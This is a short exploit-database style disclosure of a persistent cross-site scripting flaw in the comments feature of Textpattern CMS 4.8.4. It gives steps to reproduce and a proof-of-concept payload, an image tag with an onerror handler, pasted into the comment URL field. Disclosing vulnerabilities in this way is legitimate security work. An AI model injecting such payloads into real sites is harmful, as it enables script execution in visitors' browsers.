Textpattern CMS 4.8.4 Cross Site Scripting

`# Exploit Title: Textpattern CMS 4.8.4 - 'Comments' Persistent Cross-Site Scripting (XSS)  
# Date: 2021-03-04  
# Exploit Author: Tushar Vaidya  
# Vendor Homepage: https://textpattern.com  
# Software Link: https://textpattern.com/start  
# Version: v 4.8.4  
# Tested on: Windows  
  
Steps-To-Reproduce:  
1. Login into Textpattern CMS admin panel.  
2. Now go to the *Content > C**omments > Message*.  
3. Now paste the below payload in the URL field.  
  
Ba1man”><img src=x onerror=confirm(document.location)>  
  
4. Now click on the *Save* button.  
5. Now go to the https://site.com/articles/welcome-to-your-site#comments-head  
5. The XSS will be triggered.  
  
`